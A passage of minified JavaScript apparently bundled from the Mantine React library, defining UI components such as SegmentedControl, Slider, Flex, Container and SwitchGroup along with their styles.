cl(e))t.indexOf(n)<0&&rv.call(e,n)&&(r[n]=e[n]);return r};function nv(e){var t=e,{__staticSelector:r,className:n,classNames:o,styles:i,unstyled:l,children:a,label:s,description:u,id:p,disabled:m,error:d,size:g,labelPosition:h,variant:v}=t,x=Dx(t,["__staticSelector","className","classNames","styles","unstyled","children","label","description","id","disabled","error","size","labelPosition","variant"]);const{classes:f,cx:c}=Tx({labelPosition:h},{name:r,styles:i,classNames:o,unstyled:l,variant:v,size:g});return P(me,{...Rx({className:c(f.root,n)},x),children:Z("div",{className:c(f.body),children:[a,Z("div",{className:f.labelWrapper,children:[s&&P("label",{className:f.label,"data-disabled":m||void 0,htmlFor:p,children:s}),u&&P(Vs.Description,{className:f.description,children:u}),d&&d!=="boolean"&&P(Vs.Error,{className:f.error,children:d})]})]})})}nv.displayName="@mantine/core/InlineInput";var jx=Se((e,{fluid:t,sizes:r},{size:n})=>({root:{paddingLeft:e.spacing.md,paddingRight:e.spacing.md,maxWidth:t?"100%":V({size:n,sizes:r}),marginLeft:"auto",marginRight:"auto"}}));const Ix=jx;var Mx=Object.defineProperty,fl=Object.getOwnPropertySymbols,ov=Object.prototype.hasOwnProperty,iv=Object.prototype.propertyIsEnumerable,Ad=(e,t,r)=>t in e?Mx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Lx=(e,t)=>{for(var r in t||(t={}))ov.call(t,r)&&Ad(e,r,t[r]);if(fl)for(var r of fl(t))iv.call(t,r)&&Ad(e,r,t[r]);return e},Fx=(e,t)=>{var r={};for(var n in e)ov.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&fl)for(var n of fl(e))t.indexOf(n)<0&&iv.call(e,n)&&(r[n]=e[n]);return r};const Ax={sizes:{xs:w(540),sm:w(720),md:w(960),lg:w(1140),xl:w(1320)}},Kt=$.exports.forwardRef((e,t)=>{const r=he("Container",Ax,e),{className:n,fluid:o,size:i,unstyled:l,sizes:a,variant:s}=r,u=Fx(r,["className","fluid","size","unstyled","sizes","variant"]),{classes:p,cx:m}=Ix({fluid:o,sizes:a},{unstyled:l,name:"Container",variant:s,size:i});return P(me,{...Lx({className:m(p.root,n),ref:t},u)})});Kt.displayName="@mantine/core/Container";const Wx={gap:{type:"spacing",property:"gap"},rowGap:{type:"spacing",property:"rowGap"},columnGap:{type:"spacing",property:"columnGap"},align:{type:"identity",property:"alignItems"},justify:{type:"identity",property:"justifyContent"},wrap:{type:"identity",property:"flexWrap"},direction:{type:"identity",property:"flexDirection"}};var Vx=Object.defineProperty,Hx=Object.defineProperties,Bx=Object.getOwnPropertyDescriptors,dl=Object.getOwnPropertySymbols,lv=Object.prototype.hasOwnProperty,av=Object.prototype.propertyIsEnumerable,Wd=(e,t,r)=>t in e?Vx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Ux=(e,t)=>{for(var r in t||(t={}))lv.call(t,r)&&Wd(e,r,t[r]);if(dl)for(var r of dl(t))av.call(t,r)&&Wd(e,r,t[r]);return e},Gx=(e,t)=>Hx(e,Bx(t)),Yx=(e,t)=>{var r={};for(var n in e)lv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&dl)for(var n of dl(e))t.indexOf(n)<0&&av.call(e,n)&&(r[n]=e[n]);return r};const Qx={},sv=$.exports.forwardRef((e,t)=>{const r=he("Flex",Qx,e),{gap:n,rowGap:o,columnGap:i,align:l,justify:a,wrap:s,direction:u,sx:p}=r,m=Yx(r,["gap","rowGap","columnGap","align","justify","wrap","direction","sx"]);return P(me,{...Gx(Ux({},m),{sx:[{display:"flex"},d=>Ws({gap:n,rowGap:o,columnGap:i,align:l,justify:a,wrap:s,direction:u},d,Wx),...Dy(p)],ref:t})})});sv.displayName="@mantine/core/Flex";var Xx=Object.defineProperty,Kx=Object.defineProperties,Zx=Object.getOwnPropertyDescriptors,Vd=Object.getOwnPropertySymbols,Jx=Object.prototype.hasOwnProperty,qx=Object.prototype.propertyIsEnumerable,Hd=(e,t,r)=>t in e?Xx(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Zo=(e,t)=>{for(var r in t||(t={}))Jx.call(t,r)&&Hd(e,r,t[r]);if(Vd)for(var r of Vd(t))qx.call(t,r)&&Hd(e,r,t[r]);return e},e$=(e,t)=>Kx(e,Zx(t));const gi=4,Bd={xs:`${w(3)} ${w(6)}`,sm:`${w(5)} ${w(10)}`,md:`${w(7)} ${w(14)}`,lg:`${w(9)} ${w(16)}`,xl:`${w(12)} ${w(20)}`};var t$=Se((e,{fullWidth:t,color:r,radius:n,shouldAnimate:o,transitionDuration:i,transitionTimingFunction:l,orientation:a},{size:s})=>{const u=a==="vertical",p=e.fn.variant({variant:"filled",color:r});return{label:e$(Zo(Zo({ref:Nn("label")},e.fn.focusStyles()),e.fn.fontStyles()),{WebkitTapHighlightColor:"transparent",borderRadius:e.fn.radius(n),fontWeight:500,fontSize:s in e.fontSizes?e.fontSizes[s]:e.fontSizes.sm,cursor:"pointer",display:"block",textAlign:"center",padding:Bd[s in Bd?s:"sm"],whiteSpace:"nowrap",overflow:"hidden",textOverflow:"ellipsis",userSelect:"none",color:e.colorScheme==="dark"?e.colors.dark[1]:e.colors.gray[7],transition:`color ${o?0:i}ms ${l||e.transitionTimingFunction}`,"&:hover":{color:e.colorScheme==="dark"?e.colors.dark[0]:e.black},"&[data-disabled]":{"&, &:hover":{color:e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[5],cursor:"not-allowed"}},"&[data-active]":{"&, &:hover":{color:r||e.colorScheme==="dark"?e.white:e.black}}}),control:{ref:Nn("control"),position:"relative",boxSizing:"border-box",flex:1,zIndex:2,transition:`border-left-color ${o?0:i}ms ${l||e.transitionTimingFunction}`,"&:not(:first-of-type)":{borderStyle:"solid",borderWidth:u?`${w(1)} 0 0 0`:`0 0 0 ${w(1)}`,borderColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}},input:{height:0,width:0,position:"absolute",overflow:"hidden",whiteSpace:"nowrap",opacity:0,"&:focus":{outline:"none",[`& + .${Nn("label")}`]:Zo({},e.focusRing==="always"||e.focusRing==="auto"?e.focusRingStyles.styles(e):e.focusRingStyles.resetStyles(e)),"&:focus:not(:focus-visible)":{[`& + .${Nn("label")}`]:Zo({},e.focusRing==="auto"||e.focusRing==="never"?e.focusRingStyles.resetStyles(e):null)}}},root:{position:"relative",display:t||u?"flex":"inline-flex",width:u&&!t?"max-content":"auto",flexDirection:u?"column":"row",backgroundColor:e.colorScheme==="dark"?e.colors.dark[8]:e.colors.gray[1],borderRadius:e.fn.radius(n),overflow:"hidden",padding:gi},controlActive:{borderLeftColor:"transparent !important",borderTopColor:"transparent !important",[`& + .${Nn("control")}`]:{borderLeftColor:"transparent !important",borderTopColor:"transparent !important"},borderRadius:e.fn.radius(n),boxShadow:o?r||e.colorScheme==="dark"?"none":e.shadows.xs:void 0,backgroundColor:o?r?p.background:e.colorScheme==="dark"?e.colors.dark[5]:e.white:void 0},indicator:{boxSizing:"border-box",borderRadius:e.fn.radius(n),position:"absolute",zIndex:1,boxShadow:r||e.colorScheme==="dark"?"none":e.shadows.xs,transition:`transform ${o?0:i}ms ${e.transitionTimingFunction}, width ${o?0:i/2}ms ${l||e.transitionTimingFunction}`,backgroundColor:r?p.background:e.colorScheme==="dark"?e.colors.dark[5]:e.white}}});const r$=t$;var n$=Object.defineProperty,pl=Object.getOwnPropertySymbols,uv=Object.prototype.hasOwnProperty,cv=Object.prototype.propertyIsEnumerable,Ud=(e,t,r)=>t in e?n$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,o$=(e,t)=>{for(var r in t||(t={}))uv.call(t,r)&&Ud(e,r,t[r]);if(pl)for(var r of pl(t))cv.call(t,r)&&Ud(e,r,t[r]);return e},i$=(e,t)=>{var r={};for(var n in e)uv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&pl)for(var n of pl(e))t.indexOf(n)<0&&cv.call(e,n)&&(r[n]=e[n]);return r};const l$={disabled:!1,size:"sm",transitionDuration:200},fv=$.exports.forwardRef((e,t)=>{var r,n,o,i;const l=he("SegmentedControl",l$,e),{className:a,disabled:s,data:u,name:p,value:m,onChange:d,color:g,fullWidth:h,radius:v,size:x,transitionDuration:f,transitionTimingFunction:c,classNames:y,styles:S,defaultValue:k,orientation:b,unstyled:O,variant:N,readOnly:H}=l,R=i$(l,["className","disabled","data","name","value","onChange","color","fullWidth","radius","size","transitionDuration","transitionTimingFunction","classNames","styles","defaultValue","orientation","unstyled","variant","readOnly"]),I=vr(),G=ug(),Y=I.respectReducedMotion?G:!1,ce=u.map(W=>typeof W=="string"?{label:W,value:W}:W),re=$.exports.useRef(),[ze,ne]=$.exports.useState(!1),[T,F]=na({value:m,defaultValue:k,finalValue:Array.isArray(ce)&&(i=(o=(r=ce.find(W=>!W.disabled))==null?void 0:r.value)!=null?o:(n=ce[0])==null?void 0:n.value)!=null?i:null,onChange:d}),{classes:M,cx:B}=r$({fullWidth:h,color:g,radius:v,shouldAnimate:Y||!ze,transitionDuration:f,transitionTimingFunction:c,orientation:b},{name:"SegmentedControl",classNames:y,styles:S,unstyled:O,variant:N,size:x}),[_,C]=$.exports.useState({width:0,height:0,translate:[0,0]}),z=ag(p),D=$.exports.useRef({}),[j,A]=CS();lg(()=>{re.current?ne(!0):(re.current=!0,ne(!1))}),$.exports.useEffect(()=>{if(T in D.current&&j.current){const W=D.current[T],Ze=W.getBoundingClientRect(),ae=W.offsetWidth/Ze.width,se=Ze.width*ae||0,jt=Ze.height*ae||0,wn=A.width-W.parentElement.offsetLeft+gi-se,Ir=W.parentElement.offsetLeft-gi;C({width:se,height:jt,translate:[I.dir==="rtl"?wn:Ir,W.parentElement.offsetTop-gi]})}},[T,A]);const U=ce.map(W=>Z("div",{className:B(M.control,{[M.controlActive]:T===W.value}),children:[P("input",{className:M.input,disabled:s||W.disabled,type:"radio",name:z,value:W.value,id:`${z}-${W.value}`,checked:T===W.value,onChange:()=>!H&&F(W.value)}),P("label",{className:M.label,"data-active":T===W.value&&!(s||W.disabled)||void 0,"data-disabled":s||W.disabled||void 0,htmlFor:`${z}-${W.value}`,ref:Ze=>{D.current[W.value]=Ze},children:W.label})]},W.value)),te=sg(j,t);return ce.length===0?null:Z(me,{...o$({className:B(M.root,a),ref:te},R),children:[typeof T=="string"&&ze&&P(me,{component:"span",className:M.indicator,sx:{width:_.width,height:_.height,transform:`translate(${_.translate[0]}px, ${_.translate[1]}px)`}}),U]})});fv.displayName="@mantine/core/SegmentedControl";function dv({value:e,min:t,max:r}){const n=(e-t)/(r-t)*100;return Math.min(Math.max(n,0),100)}function a$({value:e,containerWidth:t,min:r,max:n,step:o,precision:i}){const a=(t?Math.min(Math.max(e,0),t)/t:e)*(n-r),s=(a!==0?Math.round(a/o)*o:0)+r,u=Math.max(s,r);return i!==void 0?Number(u.toFixed(i)):u}var s$=Object.defineProperty,u$=Object.defineProperties,c$=Object.getOwnPropertyDescriptors,Gd=Object.getOwnPropertySymbols,f$=Object.prototype.hasOwnProperty,d$=Object.prototype.propertyIsEnumerable,Yd=(e,t,r)=>t in e?s$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,p$=(e,t)=>{for(var r in t||(t={}))f$.call(t,r)&&Yd(e,r,t[r]);if(Gd)for(var r of Gd(t))d$.call(t,r)&&Yd(e,r,t[r]);return e},m$=(e,t)=>u$(e,c$(t));const tt={xs:w(4),sm:w(6),md:w(8),lg:w(10),xl:w(12)};var y$=Se((e,{disabled:t},{size:r})=>({root:m$(p$({},e.fn.fontStyles()),{WebkitTapHighlightColor:"transparent",outline:0,height:`calc(${V({sizes:tt,size:r})} * 2)`,display:"flex",alignItems:"center",cursor:t?"not-allowed":"pointer",touchAction:"none"})}));const g$=y$;var v$=Object.defineProperty,h$=Object.defineProperties,w$=Object.getOwnPropertyDescriptors,Qd=Object.getOwnPropertySymbols,_$=Object.prototype.hasOwnProperty,S$=Object.prototype.propertyIsEnumerable,Xd=(e,t,r)=>t in e?v$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,P$=(e,t)=>{for(var r in t||(t={}))_$.call(t,r)&&Xd(e,r,t[r]);if(Qd)for(var r of Qd(t))S$.call(t,r)&&Xd(e,r,t[r]);return e},O$=(e,t)=>h$(e,w$(t)),x$=Se((e,{color:t,disabled:r,thumbSize:n},{size:o})=>({label:{position:"absolute",top:w(-36),backgroundColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[9],fontSize:e.fontSizes.xs,color:e.white,padding:`calc(${e.spacing.xs} / 2)`,borderRadius:e.radius.sm,whiteSpace:"nowrap",pointerEvents:"none",userSelect:"none",touchAction:"none"},thumb:O$(P$({},e.fn.focusStyles()),{boxSizing:"border-box",position:"absolute",display:r?"none":"flex",height:n?w(n):`calc(${V({sizes:tt,size:o})} * 2)`,width:n?w(n):`calc(${V({sizes:tt,size:o})} * 2)`,backgroundColor:e.colorScheme==="dark"?e.fn.themeColor(t,e.fn.primaryShade()):e.white,border:`${w(4)} solid ${e.colorScheme==="dark"?e.white:e.fn.themeColor(t,e.fn.primaryShade())}`,color:e.colorScheme==="dark"?e.white:e.fn.themeColor(t,e.fn.primaryShade()),transform:"translate(-50%, -50%)",top:"50%",cursor:"pointer",borderRadius:1e3,alignItems:"center",justifyContent:"center",transitionDuration:"100ms",transitionProperty:"box-shadow, transform",transitionTimingFunction:e.transitionTimingFunction,zIndex:3,userSelect:"none",touchAction:"none"}),dragging:{transform:"translate(-50%, -50%) scale(1.05)",boxShadow:e.shadows.sm}}));const $$=x$,pv=$.exports.forwardRef(({max:e,min:t,value:r,position:n,label:o,dragging:i,onMouseDown:l,color:a,classNames:s,styles:u,size:p,labelTransition:m,labelTransitionDuration:d,labelTransitionTimingFunction:g,labelAlwaysOn:h,thumbLabel:v,onFocus:x,onBlur:f,showLabelOnHover:c,children:y=null,disabled:S,unstyled:k,thumbSize:b,variant:O},N)=>{const{classes:H,cx:R,theme:I}=$$({color:a,disabled:S,thumbSize:b},{name:"Slider",classNames:s,styles:u,unstyled:k,variant:O,size:p}),[G,Y]=$.exports.useState(!1),ce=h||i||G||c;return Z(me,{tabIndex:0,role:"slider","aria-label":v,"aria-valuemax":e,"aria-valuemin":t,"aria-valuenow":r,ref:N,className:R(H.thumb,{[H.dragging]:i}),onFocus:()=>{Y(!0),typeof x=="function"&&x()},onBlur:()=>{Y(!1),typeof f=="function"&&f()},onTouchStart:l,onMouseDown:l,onClick:re=>re.stopPropagation(),style:{[I.dir==="rtl"?"right":"left"]:`${n}%`},children:[y,P(Tg,{mounted:o!=null&&ce,duration:d,transition:m,timingFunction:g||I.transitionTimingFunction,children:re=>P("div",{style:re,className:H.label,children:o})})]})});pv.displayName="@mantine/core/SliderThumb";function k$({mark:e,offset:t,value:r,inverted:n=!1}){return n?typeof t=="number"&&e.value<=t||e.value>=r:typeof t=="number"?e.value>=t&&e.value<=r:e.value<=r}var b$=Se((e,{color:t,disabled:r},{size:n})=>({markWrapper:{position:"absolute",top:0,zIndex:2},mark:{boxSizing:"border-box",border:`${w(2)} solid ${e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2]}`,height:V({sizes:tt,size:n}),width:V({sizes:tt,size:n}),borderRadius:1e3,transform:`translateX(calc(-${V({sizes:tt,size:n})} / 2))`,backgroundColor:e.white},markFilled:{borderColor:r?e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[4]:e.fn.variant({variant:"filled",color:t}).background},markLabel:{transform:"translate(-50%, 0)",fontSize:e.fontSizes.sm,color:e.colorScheme==="dark"?e.colors.dark[2]:e.colors.gray[6],marginTop:`calc(${e.spacing.xs} / 2)`,whiteSpace:"nowrap"}}));const E$=b$;function mv({marks:e,color:t,size:r,min:n,max:o,value:i,classNames:l,styles:a,offset:s,onChange:u,disabled:p,unstyled:m,inverted:d,variant:g}){const{classes:h,cx:v}=E$({color:t,disabled:p},{name:"Slider",classNames:l,styles:a,unstyled:m,variant:g,size:r}),x=e.map((f,c)=>Z(me,{className:h.markWrapper,sx:{left:`${dv({value:f.value,min:n,max:o})}%`},children:[P("div",{className:v(h.mark,{[h.markFilled]:k$({mark:f,value:i,offset:s,inverted:d})})}),f.label&&P("div",{className:h.markLabel,onMouseDown:y=>{y.stopPropagation(),u(f.value)},onTouchStart:y=>{y.stopPropagation(),u(f.value)},children:f.label})]},c));return P("div",{children:x})}mv.displayName="@mantine/core/SliderMarks";var C$=Se((e,{radius:t,color:r,disabled:n,inverted:o},{size:i})=>({track:{position:"relative",height:V({sizes:tt,size:i}),width:"100%",marginRight:V({size:i,sizes:tt}),marginLeft:V({size:i,sizes:tt}),"&::before":{content:'""',position:"absolute",top:0,bottom:0,borderRadius:e.fn.radius(t),right:`calc(${V({size:i,sizes:tt})} * -1)`,left:`calc(${V({size:i,sizes:tt})} * -1)`,backgroundColor:o?n?e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[4]:e.fn.variant({variant:"filled",color:r}).background:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],zIndex:0}},bar:{position:"absolute",zIndex:1,top:0,bottom:0,backgroundColor:o?e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2]:n?e.colorScheme==="dark"?e.colors.dark[3]:e.colors.gray[4]:e.fn.variant({variant:"filled",color:r}).background,borderRadius:e.fn.radius(t)}}));const N$=C$;var T$=Object.defineProperty,z$=Object.defineProperties,R$=Object.getOwnPropertyDescriptors,ml=Object.getOwnPropertySymbols,yv=Object.prototype.hasOwnProperty,gv=Object.prototype.propertyIsEnumerable,Kd=(e,t,r)=>t in e?T$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,D$=(e,t)=>{for(var r in t||(t={}))yv.call(t,r)&&Kd(e,r,t[r]);if(ml)for(var r of ml(t))gv.call(t,r)&&Kd(e,r,t[r]);return e},j$=(e,t)=>z$(e,R$(t)),I$=(e,t)=>{var r={};for(var n in e)yv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&ml)for(var n of ml(e))t.indexOf(n)<0&&gv.call(e,n)&&(r[n]=e[n]);return r};function vv(e){var t=e,{filled:r,size:n,color:o,classNames:i,styles:l,radius:a,children:s,offset:u,onMouseLeave:p,onMouseEnter:m,disabled:d,marksOffset:g,unstyled:h,inverted:v,variant:x}=t,f=I$(t,["filled","size","color","classNames","styles","radius","children","offset","onMouseLeave","onMouseEnter","disabled","marksOffset","unstyled","inverted","variant"]);const{classes:c}=N$({color:o,radius:a,disabled:d,inverted:v},{name:"Slider",classNames:i,styles:l,unstyled:h,variant:x,size:n});return Z("div",{className:c.track,onMouseLeave:p,onMouseEnter:m,children:[P(me,{className:c.bar,sx:{left:`calc(${u}% - ${V({size:n,sizes:tt})})`,width:`calc(${r}% + ${V({size:n,sizes:tt})})`}}),s,P(mv,{...j$(D$({},f),{size:n,color:o,offset:g,classNames:i,styles:l,disabled:d,unstyled:h,inverted:v,variant:x})})]})}vv.displayName="@mantine/core/SliderTrack";var M$=Object.defineProperty,L$=Object.defineProperties,F$=Object.getOwnPropertyDescriptors,yl=Object.getOwnPropertySymbols,hv=Object.prototype.hasOwnProperty,wv=Object.prototype.propertyIsEnumerable,Zd=(e,t,r)=>t in e?M$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,A$=(e,t)=>{for(var r in t||(t={}))hv.call(t,r)&&Zd(e,r,t[r]);if(yl)for(var r of yl(t))wv.call(t,r)&&Zd(e,r,t[r]);return e},W$=(e,t)=>L$(e,F$(t)),V$=(e,t)=>{var r={};for(var n in e)hv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&yl)for(var n of yl(e))t.indexOf(n)<0&&wv.call(e,n)&&(r[n]=e[n]);return r};const _v=$.exports.forwardRef((e,t)=>{var r=e,{className:n,size:o,classNames:i,styles:l,disabled:a,unstyled:s,variant:u}=r,p=V$(r,["className","size","classNames","styles","disabled","unstyled","variant"]);const{classes:m,cx:d}=g$({disabled:a},{name:"Slider",classNames:i,styles:l,unstyled:s,variant:u,size:o});return P(me,{...W$(A$({},p),{tabIndex:-1,className:d(m.root,n),ref:t})})});_v.displayName="@mantine/core/SliderRoot";var H$=Object.defineProperty,B$=Object.defineProperties,U$=Object.getOwnPropertyDescriptors,gl=Object.getOwnPropertySymbols,Sv=Object.prototype.hasOwnProperty,Pv=Object.prototype.propertyIsEnumerable,Jd=(e,t,r)=>t in e?H$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,G$=(e,t)=>{for(var r in t||(t={}))Sv.call(t,r)&&Jd(e,r,t[r]);if(gl)for(var r of gl(t))Pv.call(t,r)&&Jd(e,r,t[r]);return e},Y$=(e,t)=>B$(e,U$(t)),Q$=(e,t)=>{var r={};for(var n in e)Sv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&gl)for(var n of gl(e))t.indexOf(n)<0&&Pv.call(e,n)&&(r[n]=e[n]);return r};const X$={size:"md",radius:"xl",min:0,max:100,step:1,marks:[],label:e=>e,labelTransition:"skew-down",labelTransitionDuration:0,labelAlwaysOn:!1,thumbLabel:"",showLabelOnHover:!0,disabled:!1,scale:e=>e},Ov=$.exports.forwardRef((e,t)=>{const r=he("Slider",X$,e),{classNames:n,styles:o,color:i,value:l,onChange:a,onChangeEnd:s,size:u,radius:p,min:m,max:d,step:g,precision:h,defaultValue:v,name:x,marks:f,label:c,labelTransition:y,labelTransitionDuration:S,labelTransitionTimingFunction:k,labelAlwaysOn:b,thumbLabel:O,showLabelOnHover:N,thumbChildren:H,disabled:R,unstyled:I,thumbSize:G,scale:Y,inverted:ce,variant:re}=r,ze=Q$(r,["classNames","styles","color","value","onChange","onChangeEnd","size","radius","min","max","step","precision","defaultValue","name","marks","label","labelTransition","labelTransitionDuration","labelTransitionTimingFunction","labelAlwaysOn","thumbLabel","showLabelOnHover","thumbChildren","disabled","unstyled","thumbSize","scale","inverted","variant"]),ne=vr(),[T,F]=$.exports.useState(!1),[M,B]=na({value:typeof l=="number"?Xn(l,m,d):l,defaultValue:typeof v=="number"?Xn(v,m,d):v,finalValue:Xn(0,m,d),onChange:a}),_=$.exports.useRef(M),C=$.exports.useRef(),z=dv({value:M,min:m,max:d}),D=Y(M),j=typeof c=="function"?c(D):c,A=$.exports.useCallback(({x:ae})=>{if(!R){const se=a$({value:ae,min:m,max:d,step:g,precision:h});B(se),_.current=se}},[R,m,d,g,h]),{ref:U,active:te}=bS(A,{onScrubEnd:()=>s==null?void 0:s(_.current)},ne.dir),W=ae=>{ae.stopPropagation()},Ze=ae=>{if(!R)switch(ae.key){case"ArrowUp":{ae.preventDefault(),C.current.focus();const se=Math.min(Math.max(M+g,m),d);s==null||s(se),B(se);break}case"ArrowRight":{ae.preventDefault(),C.current.focus();const se=Math.min(Math.max(ne.dir==="rtl"?M-g:M+g,m),d);s==null||s(se),B(se);break}case"ArrowDown":{ae.preventDefault(),C.current.focus();const se=Math.min(Math.max(M-g,m),d);s==null||s(se),B(se);break}case"ArrowLeft":{ae.preventDefault(),C.current.focus();const se=Math.min(Math.max(ne.dir==="rtl"?M+g:M-g,m),d);s==null||s(se),B(se);break}case"Home":{ae.preventDefault(),C.current.focus(),s==null||s(m),B(m);break}case"End":{ae.preventDefault(),C.current.focus(),s==null||s(d),B(d);break}}};return Z(_v,{...Y$(G$({},ze),{size:u,ref:sg(U,t),onKeyDownCapture:Ze,onMouseDownCapture:()=>{var ae;return(ae=U.current)==null?void 0:ae.focus()},classNames:n,styles:o,disabled:R,unstyled:I,variant:re}),children:[P(vv,{inverted:ce,offset:0,filled:z,marks:f,size:u,radius:p,color:i,min:m,max:d,value:D,onChange:B,onMouseEnter:N?()=>F(!0):void 0,onMouseLeave:N?()=>F(!1):void 0,classNames:n,styles:o,disabled:R,unstyled:I,variant:re,children:P(pv,{max:d,min:m,value:D,position:z,dragging:te,color:i,size:u,label:j,ref:C,onMouseDown:W,labelTransition:y,labelTransitionDuration:S,labelTransitionTimingFunction:k,labelAlwaysOn:b,classNames:n,styles:o,thumbLabel:O,showLabelOnHover:N&&T,disabled:R,unstyled:I,thumbSize:G,variant:re,children:H})}),P("input",{type:"hidden",name:x,value:D})]})});Ov.displayName="@mantine/core/Slider";var K$=Object.defineProperty,vl=Object.getOwnPropertySymbols,xv=Object.prototype.hasOwnProperty,$v=Object.prototype.propertyIsEnumerable,qd=(e,t,r)=>t in e?K$(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Z$=(e,t)=>{for(var r in t||(t={}))xv.call(t,r)&&qd(e,r,t[r]);if(vl)for(var r of vl(t))$v.call(t,r)&&qd(e,r,t[r]);return e},J$=(e,t)=>{var r={};for(var n in e)xv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&vl)for(var n of vl(e))t.indexOf(n)<0&&$v.call(e,n)&&(r[n]=e[n]);return r};const q$={w:0,h:0},Ln=$.exports.forwardRef((e,t)=>{const r=he("Space",q$,e),{w:n,h:o}=r,i=J$(r,["w","h"]);return P(me,{...Z$({ref:t,w:n,miw:n,h:o,mih:o},i)})});Ln.displayName="@mantine/core/Space";const kv=$.exports.createContext(null),ek=kv.Provider,tk=()=>$.exports.useContext(kv);var rk=Object.defineProperty,hl=Object.getOwnPropertySymbols,bv=Object.prototype.hasOwnProperty,Ev=Object.prototype.propertyIsEnumerable,ep=(e,t,r)=>t in e?rk(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,tp=(e,t)=>{for(var r in t||(t={}))bv.call(t,r)&&ep(e,r,t[r]);if(hl)for(var r of hl(t))Ev.call(t,r)&&ep(e,r,t[r]);return e},nk=(e,t)=>{var r={};for(var n in e)bv.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&hl)for(var n of hl(e))t.indexOf(n)<0&&Ev.call(e,n)&&(r[n]=e[n]);return r};const ok={size:"sm"},Cv=$.exports.forwardRef((e,t)=>{const r=he("SwitchGroup",ok,e),{children:n,value:o,defaultValue:i,onChange:l,size:a,wrapperProps:s}=r,u=nk(r,["children","value","defaultValue","onChange","size","wrapperProps"]),[p,m]=na({value:o,defaultValue:i,finalValue:[],onChange:l});return P(ek,{value:{value:p,onChange:g=>{const h=g.currentTarget.value;m(p.includes(h)?p.filter(v=>v!==h):[...p,h])},size:a},children:P(Vs.Wrapper,{...tp(tp({labelElement:"div",size:a,__staticSelector:"SwitchGroup",ref:t},s),u),children:n})})});Cv.displayName="@mantine/core/SwitchGroup";var ik=Object.defineProperty,lk=Object.defineProperties,ak=Object.getOwnPropertyDescriptors,rp=Object.getOwnPropertySymbols,sk=Object.prototype.hasOwnProperty,uk=Object.prototype.propertyIsEnumerable,np=(e,t,r)=>t in e?ik(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,ck=(e,t)=>{for(var r in t||(t={}))sk.call(t,r)&&np(e,r,t[r]);if(rp)for(var r of rp(t))uk.call(t,r)&&np(e,r,t[r]);return e},fk=(e,t)=>lk(e,ak(t));const dk={xs:w(16),sm:w(20),md:w(24),lg:w(30),xl:w(36)},pk={xs:w(32),sm:w(38),md:w(46),lg:w(56),xl:w(72)},mk={xs:w(12),sm:w(14),md:w(18),lg:w(22),xl:w(28)},yk={xs:w(5),sm:w(6),md:w(7),lg:w(9),xl:w(11)},gk={xs:w(4),sm:w(5),md:w(6),lg:w(8),xl:w(10)};var vk=Se((e,{radius:t,color:r,labelPosition:n,error:o},{size:i})=>{const l=V({size:i,sizes:mk}),a=V({size:t,sizes:e.radius}),s=e.fn.variant({variant:"filled",color:r}),u=V({size:i,sizes:pk}),p=w(i==="xs"?1:2),m=e.fn.variant({variant:"filled",color:"red"}).background;return{input:{height:0,width:0,overflow:"hidden",whiteSpace:"nowrap",padding:0,WebkitClipPath:"inset(50%)",clipPath:"inset(50%)",position:"absolute"},track:fk(ck({},e.fn.focusStyles("input:focus + &")),{cursor:e.cursorType,overflow:"hidden",WebkitTapHighlightColor:"transparent",position:"relative",borderRadius:a,backgroundColor:e.colorScheme==="dark"?e.colors.dark[6]:e.colors.gray[2],border:`${w(1)} solid ${o?m:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[3]}`,height:V({size:i,sizes:dk}),minWidth:u,margin:0,transitionProperty:"background-color, border-color",transitionTimingFunction:e.transitionTimingFunction,transitionDuration:"150ms",boxSizing:"border-box",appearance:"none",display:"flex",alignItems:"center",fontSize:V({size:i,sizes:yk}),fontWeight:600,order:n==="left"?2:1,userSelect:"none",zIndex:0,lineHeight:0,color:e.colorScheme==="dark"?e.colors.dark[1]:e.colors.gray[6],transition:`color 150ms ${e.transitionTimingFunction}`,"input:checked + &":{backgroundColor:s.background,borderColor:s.background,color:e.white,transition:`color 150ms ${e.transitionTimingFunction}`},"input:disabled + &":{backgroundColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],borderColor:e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[2],cursor:"not-allowed"}}),thumb:{position:"absolute",zIndex:1,borderRadius:a,boxSizing:"border-box",display:"flex",backgroundColor:e.white,height:l,width:l,border:`${w(1)} solid ${e.colorScheme==="dark"?e.white:e.colors.gray[3]}`,left:p,transition:`left 150ms ${e.transitionTimingFunction}`,"& > *":{margin:"auto"},"@media (prefers-reduced-motion)":{transitionDuration:e.respectReducedMotion?"0ms":""},"input:checked + * > &":{left:`calc(100% - ${l} - ${p})`,borderColor:e.white},"input:disabled 